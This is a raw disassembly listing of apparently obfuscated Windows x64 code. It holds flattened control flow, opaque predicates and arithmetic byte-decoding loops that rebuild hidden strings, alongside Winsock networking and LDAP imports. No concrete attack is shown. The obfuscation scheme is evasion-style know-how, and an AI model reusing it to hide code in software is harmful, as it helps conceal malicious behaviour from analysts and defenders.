movabs rcx, 0x2b5834bc86b0e39c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
dec rbx
inc rbx
jmp 0x14008c992
movabs rcx, 0x2ad0e2ec2da23e7e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
jmp 0x14008d5b0
movabs rdx, 0x2a49911bd4939960
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008d5da
movabs rdx, 0x29c23f4b7b84f442
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c992
movabs rdx, 0x293aed7b22764f24
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008d613
movabs rcx, 0x28b39baac967aa06
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
jmp 0x14008d643
movabs rcx, 0x282c49da705904e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
movzx eax, byte [rbp + rbx + 0x6d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c992
movabs rcx, 0x26d9fd5191b4681d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
mov byte [rbp + rbx + 0x6d0], r10b
inc rbx
jmp 0x14008c992
movabs rcx, 0x2652ab8138a5c2ff
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 7
cmp r9, 0x200
jb 0x14008ce4b
movabs rdx, 0x1af54c81bdeae4fa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14008d55b
movabs rcx, 0x25cb59b0df971de1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x27
cmp r8, 6
jae 0x14008d44d
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14008d2f2
movabs rdx, 0x15ac1a5e435871ce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008ce7a
movabs rcx, 0x254407e0868878c3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x55
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x14008d476
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14008d249
movabs rcx, 0x101f3f529c3eac13
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7b
jmp 0x14008cecc
movabs rdx, 0x214d2245ea9aa262
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x6d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c992
movabs rdx, 0x20c5d075918bfd44
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008d643
movabs rcx, 0x203e7ea5387d5826
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x14008d613
movabs rcx, 0x1fb72cd4df6eb308
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c992
movabs rcx, 0x1f2fdb0486600dea
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
jmp 0x14008d5da
movabs rdx, 0x1ea889342d5168cc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008d5b0
movabs rdx, 0x1e213763d442c3ae
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008c992
movabs rdx, 0x1d99e5937b341e90
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008c992
movabs rcx, 0x1d1293c322257972
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x14008d55b
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14008d124
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x17
jmp 0x14008cf2b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008d166
movabs rcx, 0xb19b6174e338b76
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
movzx eax, byte [rbp + rbx + 0x6d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c992
inc rax
cmp r8, rax
jne 0x14008d19b
movabs rdx, 0xc2859b80050d5b2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008d613
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008d1e1
movabs rdx, 0xcafab88595f7ad0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c992
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d212
movabs rcx, 0xdbe4f290b7cc50c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x14008d5b0
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008cf2b
movabs rcx, 0xe45a0f9648b6a2a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
dec rbx
inc rbx
jmp 0x14008c992
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008d27a
movabs rcx, 0x10a69122f54d5131
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
jmp 0x14008d55b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d2b1
movabs rcx, 0x11b534c3a76a9b6d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 5
dec rbx
inc rbx
jmp 0x14008c992
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008cecc
movabs rcx, 0x134b2a34b2968ac7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x71
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c992
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008d334
movabs rcx, 0x16336c2e9c6716ec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
movzx eax, byte [rbp + rbx + 0x6d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c992
inc rax
cmp r8, rax
jne 0x14008d368
movabs rdx, 0x17420fcf4e846128
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x18
add r10b, dl
jmp 0x14008d613
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d3ae
movabs rdx, 0x17c9619fa7930646
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c992
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008d3e4
movabs rdx, 0x1850b37000a1ab64
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008d5da
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008d41c
movabs rcx, 0x195f5710b2bef5a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14008c992
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008ce7a
movabs rcx, 0x1a6dfab164dc3fdc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x14008d55b
movabs rdx, 0x1b7c9e5216f98a18
add rdx, rbx
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + rbx + 0x6d0]
sub cl, al
add cl, 0x2c
lea r10d, [rcx + rcx]
jmp 0x14008d5ad
movabs rcx, 0x1c03f02270082f36
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [rcx - 0x7a]
jmp 0x14008d613
movabs rcx, 0x8b8c5edbd71a46f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c992
movabs rcx, 0x831741d6462ff51
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x37
jmp 0x14008d5da
movabs rcx, 0x722d07cb245b515
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
dec rbx
inc rbx
jmp 0x14008c992
movabs rcx, 0x6142cdc00286ad9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
jmp 0x14008d55b
movabs rcx, 0x505893b4e0b209d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
movabs rcx, 0x1b38f569ea723789
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x41
add cl, r11b
mov byte [rbp + rbx + 0x6d0], cl
inc r9
dec rbx
inc rbx
jmp 0x14008c992
movabs rdx, 0x36f93ca42df3143
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2b
add r10b, dl
movabs rcx, 0x1bc0473a4380dca7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x6f
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x6d0], r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c992
mov r11, rdx
movabs rcx, 0x1d99e5937b341e9
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x5f
movabs rcx, 0x1c47990a9c8f81c5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x63
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x6d0], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x1c8b41f2c916d454
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x4c
add r11b, cl
mov byte [rbp + rbx + 0x6d0], r11b
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x6d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c992
movabs rcx, 0xcafab88595f7ad
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x45
movzx eax, byte [rbp + rbx + 0x6d0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c992
movabs rcx, 0x2326c09f224de44b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xd
jmp 0x14008c990
movabs rcx, 0x229f6ecec93f3f2d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3b
jmp 0x14008c980
lea rcx, [rbp + 0x16b7ee4]
jmp 0x14008d728
lea rcx, [rbp + 0xf2d173]
jmp 0x14008d728
lea rcx, [rbp + 0x6d0]
mov rdx, rdi
call fcn.1400353f0
lea rdx, [0x14021ab50]
lea rcx, [rbp + 0x180]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xd0]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov rsi, rax
mov byte [rbp + 0x6f8], 0x82
mov byte [rbp + 0x6f9], WSAGetLastError
mov byte [rbp + 0x6fa], 0x7a
mov byte [rbp + 0x6fb], 0xa3
mov byte [rbp + 0x6fc], __WSAFDIsSet
mov byte [rbp + 0x6fd], WSAGetLastError
mov byte [rbp + 0x6fe], 0x75
mov byte [rbp + 0x6ff], WSAStartup
mov byte [rbp + 0x700], WSAGetLastError
mov byte [rbp + 0x701], 0x65
mov byte [rbp + 0x702], 0xca
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x703], xmm0
mov qword [rbp + 0x713], rax
movabs r14, 0xedf8c49f8ead61e0
movabs r15, 0x4bb7c0201e1a1a20
movabs r12, 0x7e325810ebf13560
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rdx, 0xe6c2b40799147260
cmp rdi, 0x23
jae 0x14008e53f
movzx ebx, byte [rbp + rdi + 0x6f8]
mov r10, rbx
cmp r8, rdi
ja 0x14008e533
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008d864
lea rcx, [rdi + rdx]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x60
jmp 0x14008d8a0
je 0x14008e4a2
inc rax
cmp r8, rax
je 0x14008e406
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008e3cb
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008e37b
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008e34a
nop dword [rax]
cmp r9, rdi
ja 0x14008e527
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14008d8d3
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x14008d910
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008e2f8
lea rcx, [r9 + 2]
cmp r8, rcx
je 0x14008e2e9
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008e2bb
cmp r8, rcx
je 0x14008e293
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008e25f
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008df42
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008df1d
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008def5
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008decc
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008dea8
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008de94
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008de65
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008de41
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008de1a
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008dde1
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008d920
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008e4ff
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14008e4dc
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14008db19
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008dafa
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14008dadb
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008dd80
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008dd20
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008dccf
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14008dc9c
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14008d920
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008dc6c
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14008dc45
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008dc21
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14008dbe9
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008dbca
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008dba6
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14008db7d
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14008db69
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14008db49
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14008d920
lea r8, [r9 + 9]
lea r9, [r8 + 0x20]
jmp 0x14008d920
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008d910
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008d8a0
movabs rdx, 0xb0acf001b9c850a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub dl, 0x60
add r11b, dl
movabs rdx, 0xe6c2b40799147260
jmp 0x14008d82e
movabs rdx, 0x6fc624fc756b0f00
add rdx, rdi
movzx ecx, bl
and cl, dl
add cl, cl
movzx r11d, bl
sub r11b, cl
jmp 0x14008e317
movabs rdx, 0xa240bced43422a40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14008e359
movabs rcx, 0xd4bb54de11194580
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x14008d812
movabs rdx, 0x735eccedef060c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
jmp 0x14008e39a
movabs rcx, 0x39b084bfacc77c00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
jmp 0x14008e3ee
movabs rdx, 0x6c2b1cb07a9e9740
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008d812
movabs rdx, 0x9ea5b4a14875b280
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
jmp 0x14008e429
movabs rdx, 0xd1204c92164ccdc0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x14008e45e
movabs rcx, 0x39ae482e423e900
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, byte [rbp + rdi + 0x6f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008d812
movabs rdx, 0x81cd605ce6bdad20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0x6f8], r11b
inc rdi
jmp 0x14008d812
movabs rdx, 0xb447f84db494c860
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 0x42
jb 0x14008dcbf
movabs rdx, 0xf193bb06fe259240
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 + 0x80]
jmp 0x14008e31a
movabs rdx, 0xe6c2903e826be3a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
cmp r8, 0x400
jae 0x14008e218
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14008e13a
movabs rdx, 0xea5daa6f088ca2c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
jmp 0x14008dcef
movabs rdx, 0x193d282f5042fee0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x20
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x14008e240
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x14008e083
movabs rdx, 0xfc64e5cf79df40e0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x20
jmp 0x14008dd3f
movabs rdx, 0x93d49bbd58104b40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x6f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008d812
movabs rdx, 0xc64f33ae25e76680
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x14008e45e
movabs rdx, 0xf8c9cb9ef3be81c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
jmp 0x14008e429
movabs rcx, 0x2b44638fc1959d00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008d812
movabs rdx, 0x5dbefb808f6cb840
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14008e3da
movabs rdx, 0x903993715d43d380
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
jmp 0x14008e39a
movabs rcx, 0xc2b42b622b1aeec0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x14008d812
movabs rcx, 0xf52ec352f8f20a00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
inc r9
dec rdi
inc rdi
jmp 0x14008d812
movabs rdx, 0x27a95b43c6c92540
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008e317
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14008df74
movabs rdx, 0xe6c2b40799147260
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008dd9f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008dfb5
movabs rcx, 0xdbf1893f1d5ac3c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
movzx eax, byte [rbp + rdi + 0x6f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008d812
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008dfe7
movabs rdx, 0x76fc595d81ac8d40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008e429
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008e017
movabs rcx, 0x1207297be5fe56c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
jmp 0x14008e3ee
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008e052
movabs rdx, 0xad11f99a4a502040
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008d812
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008dda2
movabs rdx, 0x481cc9b8aea1e9c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
jmp 0x14008e317
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008e09f
movabs rdx, 0xc9ea4ddeac0825a0
jmp 0x14008e302
inc rax
cmp r8, rax
jne 0x14008e0ba
movabs rdx, 0x976fb5edde310a60
jmp 0x14008e354
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008e0f5
movabs rdx, 0x64f51dfd1059ef20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14008d812
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008dd42
movabs rdx, 0xcd85562aa6d49d60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008d812
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008e17b
movabs rcx, 0xb7e3127e3ab58780
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
movzx eax, byte [rbp + rdi + 0x6f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008d812
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008e1ad
movabs rdx, 0xbb7e1aca3581ff40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008e39a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008e1df
movabs rcx, 0x890382d967aae400
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
dec rdi
inc rdi
jmp 0x14008d812
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008dcf2
movabs rcx, 0x5688eae899d3c8c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x14008d812
movabs rdx, 0xbf192316304e7700
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x6f8]
sub r11b, al
add r11b, bl
jmp 0x14008e39a
movabs rcx, 0x8c9e8b2562775bc0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x40]
jmp 0x14008e42c
movabs rcx, 0x27a96d28521d6ca0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, byte [rbp + rdi + 0x6f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008d812
movabs rdx, 0x8c9e9d09edcba320
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008e42c
movabs rdx, 0x5688fccd25281020
add rdx, rdi
